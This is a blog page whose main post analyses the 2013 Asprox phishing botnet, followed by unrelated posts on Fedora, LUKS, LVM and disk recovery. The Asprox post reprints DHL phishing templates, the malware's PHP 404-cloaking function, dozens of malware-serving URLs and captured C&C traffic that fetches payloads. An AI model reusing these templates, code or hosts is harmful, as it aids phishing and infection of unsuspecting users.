2013-05-01

Asprox Botnet 2013 - Phishing Malware As a Service

This blog-post is to compile findings on Asprox botnet. The status described here represents mainly the status of the botnet in cca May-Jun 2013. For the description of current state it would be probably better to read some more recent posts on the history list of articles related to the Asprox botnet

Asprox malware is being spread around with phishing emails claiming to be from DHL/Fedex/USPS/American Airlines/Costco/Walmart/Pizza Hut/Home Depot/Target and many others as well. It also likes to claim it is court order, funeral/wedding announcement or missed voicemail from WhatsApp.
I call this botnet Asprox based on the whitepaper from Trendmicro. Its architecture looks like enterprise cloud-based service for building the botnet of infected hosts. Infrastructure has got 2 visible load-balanced layers and at least 2 hidden inner layers.
It goes like this:


  1. Email distribution

    Phishing emails in this campaign seems to be send mostly from some hacked web-servers.
  2. Phishing email

    January 2014 phishing is for energy bills.
    December 2013 was a killing spree of many different phishing campaigns for Costco, BestBuy, Walmart, My CV, Adobe.
    September/October 2013 templates pretend to be wedding invitations or voicemail from WhatsApp.

    May-July 2013 Phishing emails direct the victims to follow to so URL to "Get Shipment Info" / or to enter shipment number on "Tracking page"URL (DHL), to "Print Receipt" to receive your parcel (FedEx), "Download It" to use the flight ticket (American Airlines) or to display "Shipment Label" (UPS).

  3. Downloader sites

    Phishing email points to compromised websites to serve ZIP file with malicious executable = Asprox downloader. On the beginning of May 2013 these sites tend to be mainly compromised Joomla 1.5 servers. At the end of May we see it is quite a lot of websites hosted in US, not necesarily Joomla related. Asprox botnet or people behind it us probably several exploits to compromise various PHP websites.
    Links from phishing emails lead to compromised websites to malicious PHP script. This PHP script proxies all the requests to another backend server (in 2013 there was 1 IP in Russia (62.109.31.142) and whole bulk of IP addresses in germany (, but there is definitely more such servers. In case of failure/suspicion/ request thresh-hold the PHP script reports fake "404 Not Found" error code.
  4. Download zipfile

    Victim downloads the zip file from the site containing executable file for example "Delivery Information.exe" Executable file has got icon of wordfile to convince the victim to open/run it.

  5. The malware generated in the WhatsApp phishing campaign do have got icon of a note a fool the victims that this is some sound file.
  6. Execute the downloader

    When victim executes the malware, it mimics like some benign things. Notepad is opened to show some bogus tracking information.

    Malware mascarades as windows binary (svchost.exe) to run hidden and undetected on the background.

    Exe file is removed and replaced with a TXT file.
  7. Comand&Control center(s) - dozens of nginx proxies

    Malware contacts in round robin list of C&C for commands and downloading other malware. List of IPs is hardcoded to the downloader binary.Updated list of C&C can be obtained from the C&C. Sites contacted are another farm of compromised webservers running the nginx server configured as a reverse proxy. All requests are proxied to a backend server of C&C.
  8. Download other germs

    Other malware is then downloaded, executed and so on and so forth.
  9. Another layers???

    ... there is possibly more layers.


Interesting bits

These bits make it interesting:
  • Scale

    - Group seems to be running this very same infrastructure for at least 1 year. New evasion features are being added through the time - like encrypting the requests. Campaign in May 2013 was within 2 weeks using dozens of compromised Joomla servers to serve the downloader malware. It is using dozens of servers (mostly compromised webservers) to send a spam. And as of writing the backend C&C is active at least on 34 IP adresses at once. If you consider that they probably have got more to move on and use, once the current ones are closed, the scale is really like a small enterprise.
  • Evasion

    - malicious scripts on compromised download sites stop serving malware after some time and respond with fake HTTP 404 Not Found response, probably to encourage less savvy admins to stay on the current vulnerable version, as it seems that the problem gone away by itself. Similar evasion techniques are implemented on the C&C sites.
  • Automation

    - new obfuscated malware binaries for downloader are generated at least twice a day. The binaries for FakeAV downloaded from the C&C are automatically generated each 6 minutes. This ensures that samples at the time of execution are not known to your antivirus. For AV companies it usually takes 1-3 days to make a signature and propagate it for download for the client and then another days since the victim bothers to update the antivirus signatures. 
  • Cloud

    - availavility of cheap cloud services allows the "throw-away" C&C to be hosted anywhere - especially when the host is compromised server paid by somebody else :). It is surprising that the 1st and 2nd layer of C&Cs is not hosted on some bullet-proof hosting in China or Ukraine, but it is in countries like France, United Kingdom, USA, Netherlands or Germany.


Chewy details

Email Distribution

Phishing Emails

Sample DHL:

If the links are not working, please move message to  "Inbox" folder.


                                    DHL   

   26.04.2013                                                                     PACK STATION     

DHL Ship Shipment Notification



On April 25, 2013 a shipment label was printed for delivery.

The shipment number of this package is 36085695.



To get additional info about this shipment use any of these options:



1) Click the following URL in your browser:



                  Get Shipment Info



2) Enter the shipment number on tracking page:



                  Tracking Page



For further assistance, please call DHL Customer Service.

For International Customer Service, please use official DHL site.





Disclaimer:

This message was created by DHL Ship, a product of DHL, at the request

of the sender. No authentication of email address has been performed.




  Deutsche Post DHL                    2013 DHL International GmbH. All rights reserved.   



Sample DHL Express:
DHL










EXPRESS

DOWNLOAD
MAILING LABEL
DETAILS FOR PACKAGE
DATE & TIME
STATUS
TRACK ID
2013-08-01 at 11:59
Shipment not delivered
0044315795
Dear Customer, your package has arrived on August 1st, but messenger was unable to deliver the package to you, for more detailed information, please, download and read mailing label.
2013 DHL International GmbH. All rights reserved.


Downloader sites

Majority the sites serving malicious downloader file in May campaign seems to be servers with Joomla 1.5.
Backed script serving the downloader is performing some limitations on the download of the malware:
  • limit 4 downloads per IP - number seems to be shared across the botnet infrastructure, this limitation probably makes it low profile from services like Google Badware
  • allow only certain User-Agents
  • probably some other filtering (geoip?, language?)
Once the limit is reached the malware scipt is generating fake HTTP "404 Not Found" message. This way it probably avoids some malware analysis and it is maybe also convincing to website managers to avoid checking and removing the malware - it seems for the first sight that the problem disappeared itself while the malicious script is still there and kicking. Versions of the script from August 2013 - January 2014 get the 404 message from the very same server to look very real. 404 message is taken from url http://this_server/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA. In the original response all occurences of called URI (AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA) are replaced with the current URI requested by the Asprox PHP proxy script to make the cloaking complete. function error_404(){ header("HTTP/1.1 404 Not Found"); $uri=preg_replace("/(\?).*\$/","",$_SERVER["REQUEST_URI"]); $content=http_request("http://".$_SERVER["SERVER_NAME"]."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA"); $content=str_replace("/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA",$uri,$content); exit($content); } Older versions (till August 2013) were using static page which was possible to use for fingerprinting the proxy script. $ curl http://www.into-focus.de/templates/system/onlines.php?get_info=4_36160170 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head><title>404 Not Found</title></head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> </body></html> Looks like 404 Not Found

Not Found

The requested URL was not found on this server.

The download sites are being reused at the same time for different phishing campaigns and they serve different malware binaries based on the type of the request.

RequestCampaignsampleName of Exe
?ticket=American Airlineshttp://andiburns.de/img/get.php?ticket=ss00_323Electronic Ticket.exe
?get_info=DHLhttp://andiburns.de/img/get.php?get_info=ss00_323Shipment_Status_008436284830.exe
?info=DHLhttp://andiburns.de/img/get.php?info=ss00_323Shipment_Status_008436284830.exe
?i_info=FedExhttp://andiburns.de/img/get.php?i_info=ss00_323Shipment Label.exe
?receipt=FedExhttp://andiburns.de/img/get.php?receipt=ss00_323Postal Receipt No00843412843.exe
?receipt_print=FedExhttp://andiburns.de/img/get.php?receipt=ss00_323Postal Receipt No00843412843.exe
?print=FedExhttp://andiburns.de/img/get.php?receipt=ss00_323Postal Receipt No00843412843.exe

List of active download sites - last updated 2013-06-05 and largely outdated - keeping it here just as sample.
StatusLinkIPGeoIP
activehttp://925geek.com/img/get.php?get_info=521_58524040772.167.232.11US
activehttp://adarshlifecare.org/img/get.php?get_info=ss00_323108.168.250.181US
activehttp://billwhiteart.com/img/get.php?get_info=ss00_32398.130.102.17US
activehttp://depro.co/img/get.php?info=888_449980528173.201.246.128US
activehttp://donpoyser.com/img/get.php?get_info=ss00_32374.208.46.198US
activehttp://dyermob.com/img/get.php?info=882_27656177050.63.221.1US
activehttp://exchangenet.com/img/get.php?get_get_info=ss00_32398.124.252.131US
activehttp://flavorcap.com/img/get.php?get_info=ss00_32350.63.98.1US
activehttp://gebhardtbmw.org/img/get.php?get_info=ss00_323184.168.238.1US
activehttp://gokcebeyataturk.k12.tr/img/get.php?get_info=ss00_32346.20.2.139TR
activehttp://hardknoxtat.com/img/get.php?get_info=ss00_32367.18.19.165US
activehttp://jimkilby.com/img/get.php?info=887_573138391199.116.77.23US
activehttp://karaihinducanada.com/img/get.php?info=891_17544159364.90.61.32US
activehttp://s350098153.onlinehome.us/img/get.php?info=882_734823154 74.208.239.124 US
activehttp://www.annunciationcatholicchurch.com/img/get.php?info=869_264860539206.251.170.21US
activehttp://www.citystreetscafe.com/img/get.php?get_info=ss00_32350.63.53.148US
activehttp://www.citystreetscafe.com/img/get.php?info=869_16993285250.63.53.148US
activehttp://www.dbarjquilts.com/img/get.php?get_info=521_969257630209.235.128.16US
activehttp://www.thebuffalogroup.com/img/get.php?get_info=ss00_32372.167.158.245US
activehttp://www.websitesbyideal.com/img/get.php?info=875_9128384950.63.101.1US
activehttp://www.zaravand.com/components/.o9h0qw.php?receipt=ss00_323198.245.60.77CA
activehttp://tradeline.in.ua/img/get.php?info=833_1616925145 178.208.83.20 RU
activehttp://autobodysecrets.com/img/get.php?info=881_6620249866.147.240.180US
activehttp://ezcashsystem.com/img/get.php?get_get_info=ss00_32324.173.94.246US
activehttp://mybuildingdesigns.com/img/get.php?info=885_180559499
activehttp://www.calanss.com/img/get.php?info=870_538703202 173.201.216.112 US
activehttp://stevenseagal.com/img/get.php?info=885_3137019897.74.215.39 US
activehttp://thegrowingplace.com/img/get.php?info=881_97745141209.237.151.16US
infectedhttp://loegumklosterfriskole.dk/templates/rssgets.php?info=866_4264356881.7.155.10DK
infectedhttp://st-creative.ru/yggaqjp.php?info=844_37584500489.188.101.82RU
infectedhttp://systemcorp.com.au/templates/rssgets.php?get_info=ss00_323203.188.159.6AU
infectedhttp://unghanen.dk/templates/rssgets.php?get_info=ss00_323176.9.62.209DE
infectedhttp://unghanen.dk/templates/rssgets.php?info=845_1335034365176.9.62.209DE
infectedhttp://www.纽跃美容.com/components/.ipyxme.php?receipt=ss00_323112.127.76.96CN
infectedhttp://www.karate.info.pl/images/index.php?info=845_63313557889.161.150.95PL
infectedhttp://aptekapanacea.ru/images/index.php?get_info=ss00_32389.232.139.17 RU
infectedhttp://bdvi-lsa.de/templates/rssgets.php?get_info=ss00_32385.214.40.177 DE
infectedhttp://bip.sanatoria-dolnoslaskie.pl/templates/rssgets.php?get_info=ss00_32389.161.191.61PL
infectedhttp://car4me.com.au/templates/rssgets.php?get_info=ss00_323182.160.129.178AU
infectedhttp://cottomase.com/templates/rssgets.php?get_info=ss00_32393.49.19.133IT
infectedhttp://maksymumradio.net/templates/rssgets.php?get_info=ss00_32397.74.221.180US
infectedhttp://marquisgroup.org/templates/rssgets.php?info=833_1340278825199.116.77.3US
infectedhttp://origin-id.com/dbivfmw.php?get_info=ss00_323184.172.150.128US
infectedhttp://school1305.ru/images/index.php?get_info=ss00_32378.108.80.10RU
infectedhttp://toptread.ru/templates/system/onlines.php?info=843_20166000691.234.33.240UA
infectedhttp://indianapolisbjjcoach.com/templates/rssgets.php?info=831_84677494250.87.36.66US
infectedhttp://johnyohe.com/templates/rssgets.php?info=834_165919694697.74.144.174US
infectedhttp://optima.is/templates/rssgets.php?get_info=ss00_32393.95.225.171IS
infectedhttp://tda.or.jp/templates/rssgets.php?info=843_562750222175.28.48.18JP
infectedhttp://threeforksharbor.org/templates/rssgets.php?get_info=ss00_32369.163.209.92US
infectedhttp://www.12kopra.net/components/.lexrf6.php?receipt=ss00_323212.72.115.42SI
infectedhttp://www.tricityministries.org/img/get.php?get_info=ss00_323216.105.147.114US

Sample of the PHP script can be found on this forum. It forwards the requests to some backend server with the information about the IP of the client connecting (take from proxy tags if possible).

Asprox Downloader

The downloader encrypts the requests with RC4 (see more info on the analysis from Trendmicro). Encrypted request is passed to the second layer of C&C. IP addresses of the C&Cs is hardcoded to the downloader binary. This request contains MD5 hash as identification of the victim computer and contains some action.

Request gate for work

/index.php?r=gate&id=44641684AA45961586718E5F8309ADD9&group=3004spm&debug=0
Id is MD5 hash identifying the victim machine. Gate responds with command to the downloader. So far I have seen 3 commands sent to downloader - rdl, run, idl. Accoriding the analysis from TrendMicro there is more commands. Gate is quite picky about the format of the request - probably to make it low-profile against the automated probes from the Anti-Malware sites. If you perform the request using ordinary browser or commands like wget, you will most likely obtain only HTTP 404 Not Found
  1. rdl

    - run dll. According to TrendMicro the DLL is encrypted with RC4. After downloaded it is injected to the svchost.exe running the downloader and is executed. GET http://5.135.115.195:8080/2464168416ED8D7C4F5DE9761273578F92F8D248D6840D149348DD051BD9D0FEF740E8B2D59F7A0F966CA14D65257C66EDC3E2D416B7D6A0F864110F29504F3DEEFF53C24E57724DF8184F83ECEA10 HTTP/1.0 User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) Host: 5.135.115.195:8080 HTTP/1.1 200 OK Server: nginx/1.2.6 Date: Fri, 24 May 2013 18:37:17 GMT Content-Type: text/html Content-Length: 86 Connection: close X-Powered-By: PHP/5.4.4-7 Vary: Accept-Encoding c=rdl&u=/get/sb222.dll.crp_fdsfsdf&a=1&k=fa785e1d&n=sb222&crc=8822c5d84333d6b5658dcb460d4d27a2 GET http://5.135.115.195:8080/2464168416ED8D7C4F5DE9761273578F92F8D248D6840D149348DD051BD9D0FEF740E8B2D59F7A0F966CA14D65257C66EDC3E2D416B7D6A0F864110F29504F3DEEFF53C24E57724DF8184F83ECEA10 HTTP/1.0 User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) Host: 5.135.115.195:8080 HTTP/1.1 200 OK Server: nginx/1.2.6 Date: Fri, 24 May 18:37:19 GMT Content-Type: text/html Content-Length: 86 Connection: close X-Powered-By: PHP/5.4.4-7 Vary: Accept-Encoding c=rdl&u=/get/pg.dll.crp_bak&a=0&k=52f608b4&crc=214e3b765d01df7a5b28480fa885b84e
  2. run

    - run executable - since 27-Apr-2013 till 22-05-2013 I hae seen only e3943d7369aa6add911aca18b3a507f4.exe, which is some rogue antivirus. Checking report on virustotal/threadexpert there are links also to other exe files. Since 23-May-2013 the C&Cs are serving a5347c1b5b4aa9bd13d76736eb57c67f.exe, 6b761f91b02f89f9e695d4b5a87806de.exe and b2f7e9141eb124ce3152352c5df520f7.exe. So far I do not know, what the hash filename stands for. GET http://5.135.115.195:8080/2464168416ED8D7C4F5DE9761273578F92F8D248D6840D149348DD051BD9D0FEF740E8B2D59F7A0F966CA14D65257C66EDC3E2D416B7D6A0F864110F29504F3DEEFF53C24E57724DF8184F83ECEA10 HTTP/1.0 User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) Host: 5.135.115.195:8080 HTTP/1.1 200 OK Server: nginx/1.2.6 Date: Fri, 24 May 2013 18:37:20 GMT Content-Type: text/html Content-Length: 86 Connection: close X-Powered-By: PHP/5.4.4-7 Vary: Accept-Encoding c=rdl&u=/get/sb222.dll.crp_fdsfsdf&a=1&k=fa785e1d&n=sb222&crc=8822c5d84333d6b5658dcb460d4d27a2
  3. idl

    - sleep 1 second GET http://5.135.115.195:8080/2464168416ED8D7C4F5DE9761273578F92F8D248D6840D149348DD051BD9D0FEF740E8B2D59F7A0F966CA14D65257C66EDC3E2D416B7D6A0F864110F29504F3DEEFF53C24E57724DF8184F83ECEA10 HTTP/1.0 User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) Host: 5.135.115.195:8080 HTTP/1.1 200 OK Server: nginx/1.2.6 Date: Fri, 24 May 2013 18:37:22 GMT Content-Type: text/html Content-Length: 86 Connection: close X-Powered-By: PHP/5.4.4-7 Vary: Accept-Encoding c=idl


Request Gate for the list of IPS

/index.php?r=gate/getipslist&id=MACHINEKEY
Id in this case is not whole MACHINEID (MD5 identification of victim), but just first 8 chars from that. For example:
GET http://5.135.115.195:8080/2464168416ED8D7C4F5DE9761273578F92F8D248D68D0315DA139940438195B2E568CDBBD2927A0A9262AF4E155C0D6692CDE0D117C0A5D5F907433B7E160F399D8227CF User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) Host: 5.135.115.195:8080 Response is RC4 encrypted list of IPs of 3rd layer C&C to contact.

Comand&Control center(s)

Current list of active C&C sites is available from Asprox tracker

Download other germs

Files are downloaded as exe (plain exe file to be executed) or as dll. The DLL have got extension crp and seem to have very high entropy, which means it is either compressed or encrypted. More analysis of the downloader is needer to determine what is happening with the dll files after downloading.

So far I have identified these files that can be downloaded as DLL modules: Corpus of Asprox Modules

In 2013 the Asprox was involved in distribution of FakeAV - new malware file (for example /get/e3943d7369aa6add911aca18b3a507f4.exe) was generated once in 6 minutes. It takes to some scheduled job another 6 minutes delay to deliver it to C&C servers. Here are samples just for one day - just to give you idea how much will your antivirus protect you against this threat. At the time of generation it is usually found as malicious only by cca 2-3 out of 46 antivirus vendors at virustotal = most probably it won't be detected by your anrivirus at the time of first execution: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457
This exe file - FakeAV - is some rogue Antivirus. Once it is executed it reports itself to some registration site in Hongkong:
http://175.41.29.181/api/urls/?ts=a58d9636ae0c6113e51ea304de4b2a0f13cfb16c&affid=70308

2013-01-27

Hard time upgrading to Fedora 18

Hard time upgrading to Fedora 18

Upgrade to new version of Fedora (Fedora 18) was this time harder than french kissing an Anaconda. Both recommended methods of installing (USB from ISO) / upgrading (FedUp) failed for me.

Using FedUp is nightmare. It required in my case 3GB for download just to copy it to install directory (another 3GB). Even when I was able to empty that much space in the system partition it asked for another 2GB of empty space for the upgrade. After cleaning up the unnecessary stuff it still crashed in infinite loop asking for password for my encrypted drive (probably bug 896010).

Then I decided just delete the system partition and just make fresh install of it. Booting from the ISO image using USB / HDD grub2 loopback was quite ok. Problem is I was not able to pass through disk partitioning. I have got quite unusual partition table with multiboot to 3+ systems. All partitions are encrypted - truecrypt NTFS, LUKS + ext3, LUKS + swap, LUKS + LVM - probably some of that crypto stuff is freaking Anaconda do death. (bugs 890881 and/or 862948 )

My workaround to upgrade Fedora 17 to Fedora 18 with all the encryption was this:

  • boot from ISO CD / USB
  • use cryptsetup luksOpen for the system partition
  • format /dev/mapper/luks-root with mkfs -t ext4 to clean it
  • Clone the minimal filesystem on the ISO to your new system partition. The image of the minimal FC18 filesystem is as device mapped somewhere in /dev/mapper/*. Pipe "dump" command to "restore" to clone the whole filesystem. Someting like:
    dump -0u /dev/mapper/iso-min-something | (cd /mnt/root; restore -rf -)
  • mount the luks-root to /mnt/root directory and use yum --installroot=/mnt/root to install updated kernel
  • copy vmlinuz and initrd files to /boot partition
  • copy old fedora 17 record from /boot/grub2/grub.cfg to new one and update with the new fc18 version of kernel
  • change the UUID of the root partition in the grub record. Use "ls -l /dev/disk/by-uuid/" and "ls -l /dev/mapper/" to determine the UUID of the partition on the LUKS encrypted volume.
  • reboot
  • just for the case reinstall grub2 package "yum reinstall grub2"
  • yum -y update

2012-05-23

Forensics Tools for AD


Joachim Metz and Csaba Barta have written excellent tools for the forensics analysis and offline security assessment of the Windows Active directory.

  • Joachim Mertz

    has written a lot of libraries to handle various file formats with a forensic analysis in mind libesedb and his other projects on SourceForge and Google Code
  • Csaba Barta

    is using the export of the ds database from libesedb and is doing excellent work in parsing the data and be able to perform offline queries and exports of data with his framework ntdsxtract. Here is the excellent white paper about NTDS.DIT

2011-12-17

LUKS + LVM + Backups

Using LVM for storing data is easy, cool and sexy - especially if you come to point you need to resize the partitions as the projects grow. And what about backups? I keep dd bit copy of my drive for the case something bad happens with the master drive. When I wanted to restore just some bits from the drive I came to issues how to mount it because of duplicities. This is how I solved.


Just to check we are fighting in similar dojo:

  • /dev/sda9 - partition marked with type 8e (LVM)

  • partition is encrypted with LUKS

  • LVM contains volume group vgdata

  • vgdata contains several logical volumes

  • whole disk sda cloned to sdb (external usb drive) using dd if=/dev/sda of=/dev/sdb. Side effect is that all UUIDs are same




Boot rescue CD, disconnect the backup drive, change UUIDs on the master drive to avoid duplicities. Of course you can do change UUIDs on the backup drive on different machine for example:

#mount luks device
cryptsetup luksOpen /dev/sdb9 luks-backup
#Change UUIDs on the master drive (disconnect the backup drive)
pvchange -u /dev/mapper/luks-backup
vgchange -u vgdata




Boot back to primary system - rest can be done online as UUIDs of the physical volumes and vggroups are different now.

pvs
WARNING: Duplicate VG name vgdata: zCyBsK-5oAX-fk1T-ZtKu-bJsq-V32U-jefWxT (created here) takes precedence over bM4h3v-C22d-yKLg-k21k-vhaq-VyN4-zxOVtN
WARNING: Duplicate VG name vgdata: Existing zCyBsK-5oAX-fk1T-ZtKu-bJsq-V32U-jefWxT (created here) takes precedence over bM4h3v-C22d-yKLg-k21k-vhaq-VyN4-zxOVtN
PV VG Fmt Attr PSize PFree
/dev/mapper/luks-1c37deed-13d9-4364-bbda-944a4ae42618 vgdata lvm2 a-- 316.70g 136.70g
/dev/mapper/luks-backup vgdata lvm2 a-- 316.70g 91.70g

#This will not work - need to use the UUID
vgrename vgdata vgdata-bak
WARNING: Duplicate VG name vgdata: zCyBsK-5oAX-fk1T-ZtKu-bJsq-V32U-jefWxT (created here) takes precedence over bM4h3v-C22d-yKLg-k21k-vhaq-VyN4-zxOVtN
Found more than one VG called vgdata. Please supply VG uuid.

#Rename the volume group for the backup
vgrename zCyBsK-5oAX-fk1T-ZtKu-bJsq-V32U-jefWxT vgdata-bak

#Make the volume active
lvchange -a y /dev/vgdata-bak/lvdat1

#Mount
mkdir /mnt/bak
mount /dev/vgdata-bak/lvdat1 /mnt/bak



2011-10-03

Fedora 16 Alpha - issues with encrypted drives

Here is the list of issues I was facing when upgrading from Fedora 15 to Fedora 16 Alpha.
First of all - have your backup ready for everything you have on the disk. Having bit backup of whole disk saved my ass really.

I do have multiple encrypted systems installed on my machine:

/dev/sda1 50GB Truecrypt - Windows
/dev/sda2 3GB Unencrypted - Grub boot partition
/dev/sda3 16GB LUKS - Backtrack5
/dev/sda4 Extended
/dev/sda5 16GB LUKS - Fedora root
/dev/sda6 16GB LUKS - home
/dev/sda7 4GB LUKS - swap
....


Issue #1 - LUKS device of the other system


I asked installator to format and install to sda5. Anaconda installator formatted sda5, but actually mounted luks device on sda3 as the /mnt/sysimage and tried to install there (this is the Backtrack partition on my computer) - and it failed. Changing the partition type to something insane didn' help. I had to delete partition sda3 from the partition table and return it after the installation.

Issue #2 - LUKS device with ext3


I do have "home" partition encrypted for quite some long time. It was with ext3 filesystem when I started, but installator failed with error. The anaconda installer assumes during the installation that the filesystem on LUKS encrypted disk needs to be ext4 and fails if it is ext3.

I wanted to migrate already for a while to ext4. So I didn't investigated much, why is anaconda throwing an error. I just flushed home to secondary disk, recreated luks device, formated with ext4 and restored the data from backup using conventional weapons.

Issue #3 - Truecrypt vs Grub2



After installation of Fedora 16 and realcrypt from rpmfusion I have found I am unable to mount the windows partition encrypted with TrueCrypt. After investigation it turns out that Fedora 16 Alpha is using grub2 as boot loader, which is the source of the issues.

Both truecrypt and grub2 use not only MBR to store boot loader, but these in fact use much more sectors to store the necessary information (64 sectors?). With grub it was enough to have backup of the MBR (1 sector of size 512 bytes) to boot the Truecrypt bootloader doing chainloading of the truecrypt MBR. Rest of Truecrypt remained untouched on the disk. With grub2 the truecrypt boot loader and volume header is overwritten completely.

I used to boot the truecrypt boot loader from the MBR saved directly after Truecrypt installation with:

dd if=/dev/sda of=/boot/win/truecrypt.mbr

#Old Grub configuration
title Windows XP
root (hd0,1)
chainloader (hd0,1)/win/truecrypt.mbr

#New Grub2 configuration form grub2-menulst2cfg
menuentry 'Windows XP' {
set root='(hd0,2)'; set legacy_hdbias='0'
chainloader '(hd0,2)/win/truecrypt.mbr'
}



Unfortunately this doesn't work anymore with grub2. Truecrypt boot loader reports this error:

TrueCrypt Boot Loader
Loader damaged! Use Rescue Disk: Repair Options > Restore Truecrypt Boot Loader


Trying to mount it from linux using realcrypt will fail as well:

# realcrypt --text --filesystem=none -m system -k "" --protect-hidden=no /dev/sda1
Enter password for /dev/sda1:
Incorrect keyfile(s) and/or password or not a RealCrypt volume.

Note that pre-boot authentication passwords need to be typed in the pre-boot environment where non-US keyboard layouts are not available. Therefore, pre-boot authentication passwords must always be typed using the standard US keyboard layout (otherwise, the password will be typed incorrectly in most cases). However, note that you do NOT need a real US keyboard; you just need to change the keyboard layout in your operating system.


You can boot from Truecrypt Rescue CD ISO image. The trick is to use the memdisk from the syslinux package:

yum install syslinux
cp /usr/share/syslinux/memdisk /boot/memdisk

cat /etc/grub.d/20_windows_truecryptiso
#!/bin/sh

echo "Adding entry for Windows/Truecrypt ISO" >&2

cat << EOF
menuentry 'WindowsXP/Truecrypt ISO' {
set root='(hd0,2)'; set legacy_hdbias='0'
linux16 /memdisk iso raw
initrd16 /win/tcrescue2011.iso
}
EOF


To regenerate the grub configuration:

grub2-mkconfig -o /boot/grub2/grub.cfg



I tried to restore the Truecrypt Boot Loader and it (as expected) obviously breaks grub2. So you have to reinstall grub2, which breaks the Truecrypt loader - chicken and egg problem right?:

# grub2-install /dev/sda
Installation finished. No error reported.





Only compromise between these two bootloaders, which I have found on the internet is to setup the grub2, boot from the truecrypt rescue cd iso using memdisk in grub2 and have only the key+data structure restored on the disk. This apparently doesn't overwrite grub2. Press F8 from when booted from the truecrypt rescue CD and choose option 3:




Not restoring the key+data will as a result mean that the disk can't be booted even from rescue CD and it won't be possible to mount it from linux. The error will not be obvious for the first sight as only the "Incorrect Password" is reported despite the fact you are sure the password is right:



Testing the configuration with qemu:

sync ; echo 3 > /proc/sys/vm/drop_caches ; qemu -hda /dev/sda

2011-08-24

Recovery of disk with badblocks


There are some specifics recovering the disk with badblocks.
Let's say there is badblock on sector 2550302 of /dev/sda.

This should fail because this is the bad sector:
# dd if=/dev/sda of=/dev/null bs=512 count=1 skip=2550302

This should be OK because this is the sector before:
# dd if=/dev/sda of=/dev/null bs=512 count=1 skip=2550301

But actually even this fails:
# dd if=/dev/sda of=/dev/null bs=512 count=1 skip=2550298

Reason is that the block of the block device /dev/sda is not 512 but actually (most probably) 4k:
# blockdev --getbsz /dev/sda
4096


This can cause you to loose some more data from the forensic image, than really necessary. Setting the block size on active device will most probably fail. Solution is to use O_DIRECT flag when opening the device - or rather to use tools which are capable of using direct mode.

This should really work:

# dd if=/dev/sda of=/dev/null bs=512 count=1 skip=2550301 iflag=direct
# dd if=/dev/sda of=/dev/null bs=512 count=1 skip=2550303 iflag=direct
# dc3dd if=/dev/sda of=/dev/null bs=512 count=1 skip=2550301 iflag=direct
# dc3dd if=/dev/sda of=/dev/null bs=512 count=1 skip=2550303 iflag=direct
# ddrescue -d ....